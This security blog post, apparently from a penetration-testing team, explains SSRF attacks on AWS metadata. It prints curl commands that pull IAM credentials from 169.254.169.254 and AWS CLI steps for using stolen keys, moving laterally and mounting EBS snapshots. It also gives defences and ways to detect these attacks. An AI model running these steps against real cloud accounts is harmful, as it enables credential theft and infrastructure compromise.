SSRF in AWS: From Metadata Theft to Infrastructure Compromise

Server-Side Request Forgery (SSRF) has become one of the most consequential vulnerability classes in cloud environments. What might seem like a simple bug—tricking a server into making unintended HTTP requests—becomes catastrophic when that server runs on AWS and can reach the Instance Metadata Service. In this post, we'll walk through the complete attack chain: from initial SSRF exploitation to credential theft, privilege escalation, and lateral movement across an AWS organization.

Understanding the Instance Metadata Service

Every EC2 instance has access to a special HTTP endpoint at 169.254.169.254. This link-local address hosts the Instance Metadata Service (IMDS), which provides instances with information about themselves—instance ID, network configuration, and most critically, temporary IAM credentials.

When an EC2 instance has an IAM role attached (via an Instance Profile), the IMDS endpoint exposes temporary credentials that applications can use to interact with AWS services. These credentials are automatically rotated and typically last 1-6 hours.

The Anatomy of an SSRF Attack

SSRF vulnerabilities typically appear in applications that fetch external resources based on user input. Common locations include:

• Webhook handlers that fetch URLs provided by users
• PDF generators that render HTML from URLs
• Image processors that download and resize images
• URL preview features in messaging applications
• API integrations that proxy requests to user-specified endpoints

The vulnerability arises when input validation fails to prevent requests to internal addresses. An attacker submits a URL pointing to 169.254.169.254 instead of a legitimate external resource, and the server dutifully makes the request and returns the response.

IMDSv1 vs IMDSv2: The Security Evolution

AWS recognized the SSRF risk and introduced IMDSv2 in November 2019. The key difference lies in how credentials are retrieved:

IMDSv1 (Original)

Simple GET request returns metadata immediately. No authentication, no session tokens, no protection against SSRF.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole

IMDSv2 (Session-Based)

Requires a two-step process: first obtain a session token via PUT request with a custom header, then use that token in subsequent requests.

# Step 1: Get session token (PUT request with custom header)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Step 2: Use token to fetch metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole \
  -H "X-aws-ec2-metadata-token: $TOKEN"

The PUT request requirement defeats most SSRF vulnerabilities, which typically only allow GET requests. The custom header requirement adds another layer—even if an attacker can make PUT requests, they need to control request headers.

When IMDSv2 Falls Short

IMDSv2 isn't bulletproof. Our penetration testing engagements have revealed several scenarios where it fails to protect:

• Full request control: Some SSRF vulnerabilities grant complete control over HTTP method, headers, and body. Server-side proxy implementations and certain webhook handlers can fall into this category.
• SSRF in libraries with follow redirects: If an application follows redirects and an attacker controls the redirect target, they might chain requests to first obtain a token then fetch credentials.
• Application-layer proxies: Applications that proxy HTTP requests entirely (method, headers, body) can be abused to perform the full IMDSv2 handshake.
• Code execution: Once you have command injection or RCE, IMDSv2 offers no protection—the attacker simply runs curl locally.

The Capital One Breach: A Case Study

The 2019 Capital One breach remains the defining example of SSRF-to-compromise in AWS. While the technical details have been extensively documented, the attack chain illustrates the pattern we still see today:

The breach exposed a fundamental truth: the blast radius of a single SSRF vulnerability is determined by the permissions attached to the compromised instance's IAM role. Over-permissioned roles amplify every vulnerability.

Post-Exploitation: From Credentials to Compromise

Stealing IMDS credentials is just the beginning. Once an attacker has valid AWS credentials, the post-exploitation phase begins. Here's what we look for during cloud penetration tests:

1. Enumerate Current Permissions

The first step is understanding what the stolen credentials can do. Tools like enumerate-iam or manual API calls reveal attached policies:

# Using the stolen credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Enumerate what we can access
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name MyRole
aws iam get-role-policy --role-name MyRole --policy-name InlinePolicy

2. Reconnaissance Across Services

With valid credentials, attackers enumerate accessible resources. Common high-value targets include:

• S3 Buckets: List all buckets, check for sensitive data, look for access logs that reveal other resources
• EC2 Instances: Describe instances to identify additional targets, note security groups and VPC configurations
• RDS/Secrets Manager: Database credentials often live in Secrets Manager or Parameter Store
• Lambda Functions: Environment variables frequently contain API keys and credentials
• CloudFormation Stacks: Templates reveal infrastructure architecture and may contain hardcoded secrets

3. Lateral Movement Techniques

AWS lateral movement differs fundamentally from traditional network pivoting. Instead of exploiting services over the network, attackers leverage IAM permissions to access additional resources:

SSM Session Manager

If the stolen role has ssm:StartSession permissions, attackers can open interactive shells on other EC2 instances without needing SSH keys or network access:

aws ssm start-session --target i-0abc123def456789

EC2 Instance Connect

With ec2-instance-connect:SendSSHPublicKey, attackers can push a temporary SSH key to an instance and connect directly:

aws ec2-instance-connect send-ssh-public-key \
  --instance-id i-0abc123def456789 \
  --instance-os-user ec2-user \
  --ssh-public-key file://my-key.pub

Lambda Invocation

Invoking Lambda functions in the same account can provide code execution in different network contexts or access to additional secrets in that function's environment:

aws lambda invoke --function-name AdminFunction output.json

Cross-Account Role Assumption

Many organizations use cross-account roles for centralized management. If the compromised role can assume roles in other accounts, the blast radius expands dramatically:

aws sts assume-role \
  --role-arn arn:aws:iam::111122223333:role/CrossAccountAdmin \
  --role-session-name lateral-movement

Pivoting Through AWS Organizations

Large enterprises typically manage multiple AWS accounts through AWS Organizations. This architecture creates interesting pivoting opportunities:

Organization Enumeration

If the compromised credentials have Organizations permissions, attackers can map the entire account structure:

aws organizations list-accounts
aws organizations list-roots
aws organizations list-organizational-units-for-parent --parent-id r-xxxx

Service Control Policy Analysis

Understanding SCPs reveals what's permitted across the organization and identifies accounts with weaker restrictions—prime targets for lateral movement.

Delegated Administrator Abuse

AWS Organizations allows delegating administration of specific services to member accounts. A compromised delegated administrator for services like GuardDuty, Security Hub, or CloudFormation StackSets can be leveraged to affect multiple accounts.

EBS Snapshot Exploitation

One often-overlooked lateral movement technique involves EBS snapshots. If an attacker can:

1. List EBS snapshots (ec2:DescribeSnapshots)
2. Create volumes from snapshots (ec2:CreateVolume)
3. Attach volumes to instances they control (ec2:AttachVolume)

They can mount the disk of any instance in the account and read its contents offline—including credentials stored in configuration files, SSH keys in home directories, and application secrets.

# Create volume from snapshot in attacker-controlled AZ
aws ec2 create-volume \
  --snapshot-id snap-0abc123def456789 \
  --availability-zone us-east-1a

# Attach to attacker's instance
aws ec2 attach-volume \
  --volume-id vol-0abc123def456789 \
  --instance-id i-attacker \
  --device /dev/xvdf

The same technique works with RDS snapshots—restore to an attacker-controlled instance and dump the database.

Defensive Measures

Protecting against SSRF and limiting its blast radius requires defense in depth:

Enforce IMDSv2

Configure all EC2 instances to require IMDSv2. This can be enforced via launch templates, Service Control Policies, or AWS Config rules:

# Launch template metadata options
{
  "MetadataOptions": {
    "HttpTokens": "required",
    "HttpPutResponseHopLimit": 1,
    "HttpEndpoint": "enabled"
  }
}

The HttpPutResponseHopLimit: 1 setting prevents containerized workloads from reaching IMDS through the host's network namespace—critical for EKS and ECS deployments.

Apply Least Privilege to IAM Roles

Instance roles should have minimal permissions. Avoid wildcard permissions, use resource-level restrictions, and prefer separate roles for different workloads rather than one permissive role shared across instances.

Implement Network-Level Controls

Security groups and NACLs can restrict where instances can connect. While you can't block access to 169.254.169.254 from within the instance, you can limit what other internal resources an instance can reach if compromised.

Use VPC Endpoints with Policies

VPC Endpoints for AWS services can include resource policies that restrict which resources can be accessed—preventing a compromised instance from reaching S3 buckets outside its intended scope.

Enable and Monitor CloudTrail

All AWS API calls should be logged to CloudTrail. Alert on anomalous patterns:

• Credential use from unexpected IP addresses (outside your VPC)
• Enumeration patterns (listing many resources in quick succession)
• Cross-account role assumptions
• Access to sensitive services (Secrets Manager, KMS, IAM)

Implement SSRF-Specific Application Controls

• Validate and sanitize all URLs before fetching
• Maintain allowlists of permitted domains/IP ranges
• Block requests to private IP ranges (including 169.254.x.x)
• Disable following redirects or validate redirect targets
• Use DNS resolution checks to prevent DNS rebinding attacks

Detection Opportunities

Organizations should implement detection mechanisms for each stage of this attack chain:

SSRF Attempt Detection

WAF rules can flag requests containing metadata service URLs. Application logging should capture attempted requests to internal IP ranges.

Anomalous IMDS Access

AWS provides VPC flow logs that can capture traffic to the IMDS endpoint. Unusual patterns—high frequency, requests from unexpected processes—warrant investigation.

Credential Use Outside VPC

IAM credentials issued to EC2 instances include a unique identifier. CloudTrail events showing these credentials used from IP addresses outside your VPC CIDR indicate theft.

Enumeration Patterns

GuardDuty detects reconnaissance activity. Custom rules in CloudTrail can flag rapid sequences of Describe* and List* calls.

Conclusion

SSRF vulnerabilities in AWS environments represent a fundamental shift in how we think about application security. A bug that would be relatively minor in a traditional data center becomes a potential path to complete infrastructure compromise in the cloud.

The key takeaways for defenders:

• Enforce IMDSv2 across all EC2 instances—there's no legitimate reason to allow IMDSv1 in 2026
• Apply aggressive least privilege to IAM roles, especially instance profiles
• Assume SSRF will happen and design for blast radius containment
• Implement detection at every stage: SSRF attempts, credential theft, and suspicious AWS API activity

For red teams and penetration testers, understanding this attack chain is essential for cloud assessments. The metadata service remains one of the highest-value targets in any AWS environment, and SSRF remains one of the most reliable paths to reach it.